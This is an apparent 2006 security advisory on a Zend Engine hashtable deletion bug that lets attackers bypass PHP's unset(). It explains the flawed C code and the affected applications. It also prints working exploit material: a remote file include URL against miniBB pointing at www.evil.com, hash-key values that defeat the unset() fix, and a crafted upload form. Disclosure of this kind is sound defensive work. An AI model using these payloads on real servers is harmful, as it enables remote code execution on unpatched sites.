Zend_Hash_Del_Key_Or_Index Vulnerability
In late January 2006 we had discovered a weakness within the depths of the implementation of hashtables in the Zend Engine that has a huge impact on the security of PHP scripts. While this vulnerability had been fixed immediately within the PHP CVS it took 6 month for this fix to make it into the next release of PHP 4.
Until today we have given detailed information about this flaw only to a few trusted parties because the official PHP packages were not updated until last week. However patches for this vulnerability could be downloaded from http://www.hardened-php.net/ for several months now and several major linux distributions have already merged our fixes into their security update packages.
Now after everyone is able to upgrade his PHP to a not vulnerable version we will describe in detail the nature of this flaw, that opens up new vulnerabilities in securely written PHP applications and also opens up old vulnerabilities that have been previously known and fixed in a certain kind of way.
Zend Engine HashTables
To be able to understand the following description of the vulnerability it is first necessary to understand how the HashTable implementation within the Zend Engine works and what it is used for. First it is essential to know, that PHP uses Zend Engine HashTables all over the code. They are used to store lots of information like handlers for different POST content types, or handlers for different registered streams. Additionally the PHP array datatype and the global symboltable are nothing more than a Zend Engine HashTable that stores ZVAL pointers. PHP‘s HashTables consist of a hashtable descriptor and an array of bucket-slots. Each of the bucket-slots points to a double-linked list to buckets that have the same hashvalue. Additionally a double-linked list of all elements is kept for easy table traversion.
HashTable Descriptor
Name | Description |
---|---|
nTableSize | Number of bucketslots |
nTableMask | 2 ^ nTableSize - 1 |
nNumOfElements | Number of elements stored in the table |
uNextFreeElement | Next free numerical index |
pInternalPointer | Used for element traversal |
pListHead | Head of double-linked list of all elements |
pListTail | Tail of double-linked list of all elements |
arBuckets | Points to the bucketarray |
pDestructor | Points to a element destructor |
persistent | Flag: persistent or per request hashtable |
nApplyCount | Used for recursion protection |
bApplyProtection | Used for recursion protection |
Bucket
Name | Description |
---|---|
h | Hashvalue |
nKeyLength | strlen(key)+1 or 0 for numerical index |
pData | Pointer to stored data |
pDataPtr | space to store the data if it is only a pointer |
pListNext | Next in list of all elements |
pListLast | Last in list of all elements |
pNext | Next in list of elements within this bucketslot |
pLast | Last in list of elements within this bucketslot |
arKey | Alphanumerical hashkey if not numerical index |
Hashvalue
Zend Engine HashTables know 2 kinds of indices in PHP4. Numerical and alphanumerical. When an index only consists of digits it is automatically handled as numerical index instead of an alphanumerical. In PHP5 this has been changed, because it knows about symboltables and normal hashtables. In symboltables numerical indices are still handled automatically.
When an index is treated as numerical no hashvalue calculation is
performed. Instead the numerical value is used directly to determine
the correct bucket-slot. Such a bucket is then marked as numerical
index by setting the nKeyLength
field to 0
.
For alphanumerical indices on the other hand the key is first hashed with either DJBX33X for PHP 4 or DJBX33A for PHP
5. The resuling hashvalue is then used for bucket-slot determination.
In case of alphanumerical keys the hashvalue is filled into the bucket,
the length of the key plus one is filled in the nKeyLength
field and the key is copied into the arKey
field.
DJBX33A - Daniel J. Bernstein, Times 33 with Addition
static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength) { ulong h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h += (ulong) *arKey++; } return h; }
DJBX33X - Daniel J. Bernstein, Times 33 with XOR
static inline ulong zend_inline_hash_func(char *arKey, uint nKeyLength) { ulong h = 5381; char *arEnd = arKey + nKeyLength; while (arKey < arEnd) { h += (h << 5); h ^= (ulong) *arKey++; } return h; }
The flaw
While reading through zend_hash.c we discovered that there is a deeply hidden flaw in the way element deletion is performed. The bug is within the zend_hash_del_key_or_index
function that is used for example by things like PHP‘s unset() statement.
int zend_hash_del_key_or_index(HashTable *ht, char *arKey, uint nKeyLength, ulong h, int flag) { uint nIndex; Bucket *p; IS_CONSISTENT(ht); if (flag == HASH_DEL_KEY) { h = zend_inline_hash_func(arKey, nKeyLength); } nIndex = h & ht->nTableMask; p = ht->arBuckets[nIndex]; while (p != NULL) { if ((p->h == h) && ((p->nKeyLength == 0) || /* Numeric index */ ((p->nKeyLength == nKeyLength) && (!memcmp(p->arKey, arKey, nKeyLength))))) { /* CODE TO DELETE THIS ELEMENT */ ht->nNumOfElements--; return SUCCESS; } p = p->pNext; } return FAILURE;
The code above first calculates the bucket-slot by ANDing the hashvalue with the content of the nTableMask
field. For alphanumerical keys it has to call the hashfunction for
this. It then traverses the buckets connected to the bucket-slot until
it finds the correct bucket and then deletes it. Unfortunately the
logic to determine the correct bucket is broken. The condition of the
if statement evaluates to true if the hashvalue matches and the bucket
is either a numerical index or the bucket is an alphanumerical index
and the key matches. This actually means, that if one wants to delete
an alphanumerical bucket and there is a bucket with a numerical key
with the same hashvalue first in the traversed list the bucket
belonging to the numerical key will be deleted instead of the
alphanumerical one.
The Impact
To understand the danger that arises from this little bug, that is deeply within the core of the Zend Engine it is necessary to realise what parts of PHP are affected by this. After a while of thinking it should become obvious that one of the affected things is the unset() statement which can be used to delete variables from PHP‘s symboltable or to remove elements from arrays. Additionally it is necessary to keep in mind that very often applications programmers make the use of unset() to initialise variables or to remove unwanted variables.
Nowadays many application come with register_globals deregistration layers, that first unset() all unwanted global variables as protection against servers where register_globals is still turned on. These layers usually get added to protect against forgetten variable initialisation or after the application has been hit by exploits caused by such missing initialisations. Examples for such applications are phpBB and Wordpress. Other applications like for example miniBB only unset() a few known troublemakers as hotfixes for previously found exploits.
Although the previously mentioned examples may let you believe that
this is a problem which only affects servers where register_globals is
turned on, be assured this is not the case. For example one of the most
popular bulletin boards: vBulletin uses unset() on f.e. the _FILES
array, to get rid of disallowed attachments. Other applications that do
not rely on register_globals being turned on can also be vulnerable and
several examples are known to us, however the impact is not as high as
on applications that run on servers with register_globals turned on.
For the later this vulnerability of PHP is catastrophic.
As an example: When magic_quotes_gpc is turned off and register_globals turned on this vulnerability can be used to remotely execute PHP code on servers running the latest version of phpBB 2.0.21. (Atleast at the moment we only know about a bug that requires magic_quotes_gpc turned off. However a different bug may still exist. f.e. in previous versions of phpBB only register_globals needs to be turned on to exploit a different flaw that is meanwhile fixed).
Examples
miniBB
In previous versions of miniBB there existed a remote URL include vulnerability through f.e. the includeHeader
variable. It was possible to exploit this vulnerability when no
includeHeader was specified in the configuration file. A sample exploit
against the old vulnerability would look like this
http://server/miniBB/index.php?includeHeader=http://www.evil.com/?
This vulnerability has been fixed by unset()ing the includeHeader
variable in the beginning of the script. However the
zend_hash_del_key_or_index vulnerability described in this document
allows to still exploit this vulnerability with little modification to
the exploit URL.
With the bug in mind we know, that all we need to survive the single unset()
statement is a numerical key with the same hashvalue that appears in
the list before the alphanumerical one. This means it has to appear in
the URL after the includeHeader
variable, because later elements are put to the head of the list.
Because PHP 4 and PHP 5 use 2 different hash functions two values have to be calculated. For the alphanumerical key includeHeader
they are
Version | Value |
---|---|
PHP 4 | -269001946 |
PHP 5 | -834358190 |
Knowing both values it is now easy to construct the new exploit URL
http://server/miniBB/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1
simple file upload example
To show that this also affects scripts who do not rely on register_globals the following little example is shown
<?php include "../include/functions.inc.php"; session_start(); if (isset($_FILES['attachment']) && !uploadsAllowed($_SESSION['user'])) { unset($_FILES['attachment']); } if (isset($_FILES['attachment'])) { /* handle the file */ } ?>
In this little example the whole security is based on the unset() operator, that is used to remove the attachment
from the _FILES
array in case the permissions do not allow the upload.
To exploit this through the unset() vulnerability the first step is again to determine the hashvalues of the string attachment
. The table lists the correct values for both PHP versions.
Version | Value |
---|---|
PHP 4 | 472504636 |
PHP 5 | 1425328718 |
Now all one needs to exploit this PHP script is a simple modified file upload formular.
<form method="post" action="vuln.php" encode="multipart/form-data"> <input type="file" name="attachment"> <input type="file" name="472504636"> <input type="file" name="1425328718"> <input type="submit" name="submit"> </form>
After clicking the submit button the script gets sucessfully exploited.
Recommendation
This vulnerability affects a large number of PHP applications. It creates large new holes in many popular PHP applications. Additonally many old holes that were disclosed in the past were only fixed by using the unset()
statement. Many of these holes are still open if the already existing
exploits are changed by adding the correct numerical keys to survive
the unset(). An example for such an old hole is described above for miniBB. For phpBB such an old hole is the signature_bbcode_uid
vulnerability that we disclosed in the past. However recent changes in phpBB introduced a double unset() on signature_bbcode_uid
which results in it being protected against the unset() vulnerability. Unfortunately there still exists a hole in the handling of the signature
variable that can be used to first perform an SQL
injection and store certain things in the database that can later be
used to perform a code execution exploit. Details of this vulnerability
will not be disclosed at this point in time.
We strongly recommend that everyone upgrades to the latest PHP versions 4.4.3 and 5.1.4 to be protected against this vulnerability. Additionally as usual we recommend to use our PHP Hardening-Patch, because it automatically protects against a lot of unknown vulnerabilities.
Copyright
2006 © Stefan Esser sesser@hardened-php.net